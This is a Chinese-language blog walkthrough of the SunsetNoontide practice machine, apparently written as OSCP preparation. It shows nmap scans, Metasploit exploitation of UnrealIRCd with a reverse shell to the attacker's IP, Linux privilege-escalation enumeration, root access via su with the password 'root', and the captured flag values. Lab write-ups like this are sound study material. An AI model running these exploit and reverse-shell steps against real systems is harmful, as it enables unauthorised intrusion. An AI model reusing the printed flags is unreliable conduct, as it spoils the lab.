• OSCP系列靶场-Esay-SunsetNoontide保姆级


    OSCP系列靶场-Esay-SunsetNoontide

    总结

    getwebshell : nmap发现UnrealIRCdirc漏洞利用

    提 权 思 路 : su弱密码提权

    准备工作

    • 启动VPN
      获取攻击机IP → 192.168.45.239

    • 启动靶机
      获取目标机器IP → 192.168.172.120

    信息收集-端口扫描

    目标开放端口收集

    • Nmap开放端口扫描2次(多次扫描减少误扫)
    sudo nmap --min-rate 10000 -p- 192.168.172.120
    
    PORT     STATE SERVICE
    6667/tcp open  irc
    6697/tcp open  ircs-u
    8067/tcp open  infi-async
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7


    开放的端口-→6667,6697,8067

    目标端口对应服务探测

    # tcp探测
    sudo nmap -sT -sV -O -sC -p6667,6697,8067 192.168.172.120
    
    PORT     STATE SERVICE VERSION
    6667/tcp open  irc     UnrealIRCd
    6697/tcp open  irc     UnrealIRCd
    8067/tcp open  irc     UnrealIRCd (Admin email example@example.com)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    信息收集-端口测试

    根据探测的端口进行进一步的测试,这三个端口没有见过nmap探测开放的服务都是irc 版本是UnrealIRCd探测到了邮箱内容 Admin email example@example.com通过搜索可以确定UnrealIRCd是开源,存在漏洞的情况较大

    chatgpt学习

    粗略的了解一下内容

    漏洞利用-getwebshell

    漏洞利用-unrealircd

    在遇到不知道的情况下可以借助msf帮助

    msf6 → searchsploit unrealircd
    
    • 1


    但是我们不确定版本,在没思路的情况下尝试盲打,首先选用msf自带的

    msfconsole 
    msf6 → search unrealircd
    
    • 1
    • 2

    msf6 → use 0
    msf6 → show options
    
    • 1
    • 2

    确定了只需要目标以及端口

    msf6 → set rhosts 192.168.172.120
    msf6 → set payload 7
    
    • 1
    • 2

    选择反弹shell

    msf6 → set lhost 192.168.45.239
    
    • 1

    设置监听host运行得到shell

    内网遨游-getshell

    交互shell

    由于获取的shell交互不友好,利用python获得新的交互shell

    # 如果是msf的要先shell
    shell
    
    • 1
    • 2

    发现shell失败

    # 利用python获取交互shell -> python失败使用python3
    python -c "import pty;pty.spawn('/bin/bash')";
    
    • 1
    • 2

    FLAG1获取

    server@noontide:~/irc/Unreal3.2$ find / -name local.txt 2>/dev/null
    /home/server/local.txt
    server@noontide:~/irc/Unreal3.2$ cat /home/server/local.txt
    ed03c20077957b11b1b936f8a70fd0c4
    
    • 1
    • 2
    • 3
    • 4

    信息收集-内网基础信息收集

    提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

    检测Linux操作系统的发行版本

    较老的Ubuntu以及Linux系统可以overlayfs提权

    # 确定发行版本
    server@noontide:~/irc/Unreal3.2$ lsb_release -a
    No LSB modules are available.
    Distributor ID: Debian
    Description:    Debian GNU/Linux 10 (buster)
    Release:        10
    Codename:       buster
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    发行版本为Debian,不太能overlayfs提权

    检测Linux操作系统的内核版本

    较低的内核版本可以进行脏牛提权

    server@noontide:~/irc/Unreal3.2$ uname -a
    Linux noontide 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux
    
    • 1
    • 2

    内核版本为4.19.0

    检测当前用户的权限
    server@noontide:~/irc/Unreal3.2$ id
    uid=1000(server) gid=1000(server) groups=1000(server),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)
    
    • 1
    • 2
    列举出所有的sudo文件

    查找具有sudo权限,且不需要密码的可提权文件
    如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

    # 利用sudo -l寻找
    server@noontide:~/irc/Unreal3.2$ sudo -l
    bash: sudo: command not found
    
    • 1
    • 2
    • 3

    发现不存在sudo

    列举出所有suid文件

    如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

    # -perm 文件权限
    server@noontide:~/irc/Unreal3.2$ find / -perm -u=s -type f 2>/dev/null
    /usr/bin/fusermount
    /usr/bin/passwd
    /usr/bin/chsh
    /usr/bin/umount
    /usr/bin/mount
    /usr/bin/su
    /usr/bin/chfn
    /usr/bin/newgrp
    /usr/bin/gpasswd
    /usr/lib/eject/dmcrypt-get-device
    /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    /etc/passwd权限收集

    如果/etc/passwd具有写入权限可以尝试覆盖密码提权

    server@noontide:~/irc/Unreal3.2$ ls -al /etc/passwd
    -rw-r--r-- 1 root root 1440 Aug  8  2020 /etc/passwd
    
    • 1
    • 2
    /etc/shadow权限收集
    • 如果/etc/shadow具有写入权限可以尝试覆盖密码提权
    • 如果/etc/shadow具有可读权限可以爆破密码
    server@noontide:~/irc/Unreal3.2$ ls -al /etc/shadow
    -rw-r----- 1 root shadow 950 Dec  3  2020 /etc/shadow
    
    • 1
    • 2

    getcap标志进程收集

    高版本下suid列举不全,查看getcap

    # 探查有CAP_SETUID标志的进程
    server@noontide:~/irc/Unreal3.2$ /usr/sbin/getcap -r / 2>/dev/null
    /usr/bin/ping = cap_net_raw+ep
    
    • 1
    • 2
    • 3
    列举定时任务

    查找所有的定时任务,并且查看定时任务是否具有修改权限

    # 寻找定时任务并修改进行提权
    cat /etc/crontab
    
    • 1
    • 2

    查看历史信息(无)

    可能用户留下的历史信息具有有用的信息

    history
    
    • 1
    确认/home目录下信息

    /home目录下的用户可以做账号字典尝试弱密码以及爆破

    server@noontide:~/irc/Unreal3.2$ ls -al /home
    drwxr-xr-x  3 server server 4096 Dec  3  2020 server
    
    • 1
    • 2
    确认当前用户home目录下是否有隐藏文件
    # 例如.ssh找密码  ./*_history找历史记录等
    ls -al /home/server
    
    • 1
    • 2

    找到一个文件


    默认编辑器是nano

    # Generated by /usr/bin/select-editor SELECTED_EDITOR="/bin/nano"
    
    • 1

    权限提升

    su弱密码提权

    server@noontide:~/irc$ su
    Password: root
    
    root@noontide:/home/server/irc# id
    uid=0(root) gid=0(root) groups=0(root)
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    FLAG2获取

    root@noontide:/home/server/irc# cat /root/proof.txt
    b6dd9e1ceb4383125727e3101987689d
    
    • 1
    • 2

    完结撒花~

    后记

    以后提权尝试第一条 su 弱密码,应该在利用sudo发现没有命令的时候尝试一下

    了解了一下漏洞原理

    cat /usr/share/exploitdb/exploits/linux/remote/13853.pl
    
    • 1

    大致利用思路 是连接6667端口时直接插入 AB;payload
    利用;可以绕过进行命令执行,这里下载远程文件并执行

  • 相关阅读:
    【R语言简介】讲解
    一款针对EF Core轻量级分表分库、读写分离的开源项目
    Vue组件化编程(模块与组件、模块化与组件化,非单文件组件,单文件组件)
    云原生存储解决方案
    LaTeX项目的.gitignore文件内容
    【swagger】springboot项目中配置Swagger的两种方式以及swagger权限验证、安全控制
    处理非虚拟总线信号的结构体数组
    基于Springboot搭建java项目(十六)——Kafka的简介
    FPGA学习笔记(十三)负数运算
    设置工作模式与环境(中):建造二级引导器
  • 原文地址:https://blog.csdn.net/qq_61812944/article/details/132823054